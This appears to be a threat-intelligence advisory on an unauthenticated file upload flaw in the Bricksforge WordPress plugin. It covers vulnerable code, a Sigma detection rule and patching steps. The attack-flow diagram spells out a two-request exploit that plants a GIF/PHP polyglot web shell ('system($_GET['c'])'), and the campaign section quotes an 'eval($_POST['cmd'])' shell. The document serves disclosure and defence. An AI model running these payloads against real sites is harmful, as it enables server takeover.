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CVE-2026-85097: Bricksforge WordPress Plugin Unauthenticated Arbitrary File Upload Leading to Remote Code Execution

Density:
HERMES

HERMES THREAT SCORE & WEB CMS INFRASTRUCTURE EVALUATION

Target: Bricksforge WordPress Plugin โ€” AJAX Form & Temporary File Upload Controller
Confidence: 98%
96 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 16 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 18 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this vulnerability at 9.8 (Critical), evaluating it as an unauthenticated network execution vulnerability without user interaction. The Hermes Threat Score assesses it at 96 (CRITICAL). Traditional file upload vulnerabilities in the WordPress ecosystem typically require contributor, subscriber, or author role authentication. In Bricksforge, the developers registered a public AJAX endpoint (wp_ajax_nopriv_bricksforge_regenerate_nonce) that leaks fresh security nonces to arbitrary unauthenticated HTTP clients. When coupled with incomplete MIME validation on temporary form attachments and a client-controllable destination filename in the temporaryFileUploads array, remote attackers bypass upload restrictions, move a GIF/PHP polyglot file to a public uploads folder with a .php extension, and trigger immediate code execution under the web server daemon. Active in-the-wild exploitation was flagged by Patchstack on October 8, 2026, with widespread automated campaigns deploying persistent web shells.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-85097: Bricksforge WordPress Plugin Unauthenticated Arbitrary File Upload Leading to Remote Code ExecutionVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTBricksforge Plugin
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Bricksforge Plugin documented in Hermes dossier.”

Supporting Verified Evidence:

Bricksforge provides modular UI elements, developer utilities, and nested form submission actions for WordPress sites built with the Bricks theme framework. To facilitate multi-step forms and asynchronous file attachments, Bricksforge includes a temporary file upload pipeline.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-85097International vulnerability catalog identifier
Affected ProductBricksforge for WordPressVisual builder extension plugin for WordPress
Vulnerable Componentincludes/elements/pro-forms/actions/upload.phpAJAX nonce regeneration and temporary file handling routines
Vulnerability ClassCWE-434 / CWE-287Unrestricted File Upload / Broken Authentication Logic
Attack VectorHTTP POST (/wp-admin/admin-ajax.php)Two-stage unauthenticated request sequence
Remediation ReleaseBricksforge v3.1.9Strict MIME/extension validation & nonce restriction
[ Unauthenticated Remote Attacker ]
|
1. GET /wp-admin/admin-ajax.php?action=bricksforge_regenerate_nonce
|
v
+-------------------------------------------+
| Returns Valid Nonce (No Auth Required) |
+-------------------------------------------+
|
2. POST /wp-admin/admin-ajax.php (action=bricksforge_form_submit)
- Nonce: <recovered_nonce>
- Upload: GIF89a polyglot with embedded <?php system($_GET['c']); ?>
- temporaryFileUploads: [{"file": "tmp_file.gif", "url": "shell.php"}]
|
v
+-------------------------------------------+
| Bricksforge Form Submission Controller |
| - Validates Nonce (Passes) |
| - Checks Magic Bytes (GIF89a Passes) |
| - Renames tmp_file.gif -> shell.php |
| - Moves to /wp-content/uploads/ |
+-------------------------------------------+
|
v
3. GET /wp-content/uploads/bricksforge/shell.php?c=id
|
v
+-------------------------------------------+
| Arbitrary Command Execution (RCE) |
| User Context: www-data |
+-------------------------------------------+

The root cause resides in two design flaws within Bricksforgeโ€™s form handling implementation:

In includes/api/nonce.php, the plugin author registered the nonce regeneration action for both authenticated and unauthenticated visitors:

// Vulnerable implementation in Bricksforge <= 3.1.8.9
add_action('wp_ajax_bricksforge_regenerate_nonce', [$this, 'regenerate_nonce']);
add_action('wp_ajax_nopriv_bricksforge_regenerate_nonce', [$this, 'regenerate_nonce']);
public function regenerate_nonce() {
$nonce = wp_create_nonce('bricksforge-elements');
wp_send_json_success(['nonce' => $nonce]);
}

Because wp_ajax_nopriv allows any anonymous visitor to receive a valid 'bricksforge-elements' nonce, all subsequent CSRF and intent verification checks in the form pipeline are trivialized.

When processing form attachments, Bricksforge allows files to be uploaded into a staging area before final submission. In includes/elements/pro-forms/actions/upload.php, the server inspected the fileโ€™s magic bytes but relied on client-supplied metadata for the final destination filename:

// Insecure file relocation routine
if (!empty($_POST['temporaryFileUploads'])) {
$temp_files = json_decode(stripslashes($_POST['temporaryFileUploads']), true);
foreach ($temp_files as $item) {
$staged_path = $upload_dir['basedir'] . '/bricksforge/temp/' . basename($item['file']);
$destination_url = sanitize_text_field($item['url']); // Attacker controls string: e.g. "backdoor.php"
$final_filename = wp_basename($destination_url);
$final_path = $upload_dir['basedir'] . '/bricksforge/' . $final_filename;
// Only checked MIME type on initial tmp upload, not extension on move!
if (file_exists($staged_path)) {
rename($staged_path, $final_path);
}
}
}

The plugin validates magic bytes upon initial upload (accepting GIF89a), but during the rename() phase, it trusts the extension parsed from $item['url']. An attacker provides an image polyglot containing embedded PHP and directs the destination to end with .php, resulting in an unauthenticated web shell.


Telemetry from Patchstack, CrowdSec, and honeypots indicates rapid weaponization across October 2026:

  1. Reconnaissance Swarms: Automated scanners sweep for WordPress sites running Bricks Builder and test for the availability of /wp-admin/admin-ajax.php?action=bricksforge_regenerate_nonce.
  2. Payload Staging: Attackers upload a 60-byte GIF polyglot containing GIF89a<?php @eval($_POST['cmd']); ?>.
  3. Shell Persistence: After the file is relocated to wp-content/uploads/bricksforge/, attackers deploy secondary obfuscated droppers, establish cron jobs in wp-cron.php, and inject admin users directly into wp_users.

title: Bricksforge WordPress Arbitrary File Upload Exploitation
id: bf850970-1760-4c31-92e1-cve202685097
status: experimental
description: Detects unauthenticated nonce regeneration and suspicious PHP uploads targeting Bricksforge WordPress plugin.
references:
- https://patchstack.com/articles/critical-unauthenticated-arbitrary-file-upload-vulnerability-exploited-in-bricksforge-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2026-85097
author: Hermes Codex CTI
date: 2026-10-09
logsource:
category: webserver
detection:
selection_nonce:
cs-method: 'GET'
cs-uri-stem|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=bricksforge_regenerate_nonce'
selection_upload:
cs-method: 'POST'
cs-uri-stem|contains: '/wp-admin/admin-ajax.php'
selection_shell:
cs-method: 'GET'
cs-uri-stem|contains: '/wp-content/uploads/bricksforge/'
cs-uri-stem|endswith: '.php'
condition: selection_nonce or selection_shell
fields:
- c-ip
- cs-method
- cs-uri-stem
- cs-uri-query
- sc-status
falsepositives:
- Legitimate administrative AJAX queries (for nonce regeneration), but direct access to .php in uploads/bricksforge/ is 100% malicious.
level: critical

  1. Immediate Plugin Upgrade: Update Bricksforge to version 3.1.9 or higher via the WordPress dashboard or WP-CLI:

    Terminal window
    wp plugin update bricksforge
  2. Disable PHP Execution in Uploads Directories: Add the following directive to .htaccess inside wp-content/uploads/ (or Nginx configuration) to prevent any uploaded PHP files from executing:

    # Block PHP execution in uploads
    <Files *.php>
    deny from all
    </Files>
  3. Purge Temporary File Staging: Remove any orphaned files inside wp-content/uploads/bricksforge/temp/ and inspect web server access logs for requests returning 200 OK on .php files inside wp-content/uploads/.